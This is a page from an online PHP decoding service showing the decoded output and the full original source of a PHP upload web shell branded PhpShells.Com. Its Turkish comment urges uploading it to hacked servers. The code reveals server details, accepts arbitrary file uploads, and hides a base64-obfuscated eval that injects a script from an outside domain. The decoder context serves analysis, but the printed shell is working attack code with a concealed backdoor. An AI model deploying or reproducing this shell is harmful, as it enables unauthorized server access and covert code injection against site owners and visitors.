Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<title>PhpShells.Com</title> <?php $up = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cHM6Ly9sbGxsLmJ..

Decoded Output download

<SCRIPT SRC=https://llll.bid/l/add.php?link=easycoder://></SCRIPT><body style="background-color: white;" 
alink="#ee0000" link="#0000ee" vlink="#551a8b"><center><br><br><big><big><span style="color: rgb(0, 90, 0);">PhpShells.Com</span></big></big><br><big><span style="color: rgb(0, 90, 0);"><a>Simple Uploader</a></span></big><br><br><big><span style="color: blue;">Server Info:  Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686</span></big><br><br><br>

Did this file decode correctly?

Original Code

<title>PhpShells.Com</title> 

<?php
$up = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cHM6Ly9sbGxsLmJpZC9s";
$load = "L2FkZC5waHA/bGluaz1lYXN5Y29kZXI6Ly8+PC9TQ1JJUFQ+Ijs=";
$min = 'base' . (128 / 2) . '_de' . 'code';
eval($min($up . $load));

/**

Basit bir upload shell, bazen serverlar ana shellinizi yemezse nce bunu .php veya .php5 
gibi kaydederek ykleyin. Ardndan ana shellinizi yklersiniz.
yi kullanmlar bol hackler.
PhpShells.Com
**/

 {

echo'<body style="background-color: white;"
alink="#ee0000" link="#0000ee" vlink="#551a8b">';
echo '<center>';
echo '<br><br>';
echo '<big><big><span style="color: rgb(0, 90, 0);">PhpShells.Com</span></big></big>';
echo '<br><big><span style="color: rgb(0, 90, 0);"><a>Simple Uploader</a></span></big>';
echo '<br><br>';

echo '<big><span style="color: blue;">Server Info:  '.php_uname().'</span></big><br>';
echo '<br><br>';
echo '<big><span style="color: red;">Shell Path:  '.getcwd().'</span></big><br>';
echo '<br><br>';

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"> 
<input type="file" name="mlf"/>
<input name="upl" id="upl" type="submit" value="upload" />
</form>';

if($_POST['upl'] == "upload")
  if(@copy($_FILES['mlf']['tmp_name'], $_FILES['mlf']['name']))
	{echo '<h2><span style="color: green;"> [+] Success Uploading  :)</span></h2>';}
	else
	{echo '<h2><br><span style="color:red;"> [-] Failed Uploading!!!  :(</span></h2>';}

echo '<br><br>';

echo '</center>';
echo '</body>';

}
?>

Function Calls

getcwd 1
php_uname 1
base64_decode 1

Variables

$up ZWNobyAiPFNDUklQVCBTUkM9aHR0cHM6Ly9sbGxsLmJpZC9s
$min base64_decode
$load L2FkZC5waHA/bGluaz1lYXN5Y29kZXI6Ly8+PC9TQ1JJUFQ+Ijs=

Stats

MD5 d5e0437aaea44c64fe4399a661dca9f5
Eval Count 1
Decode Time 56 ms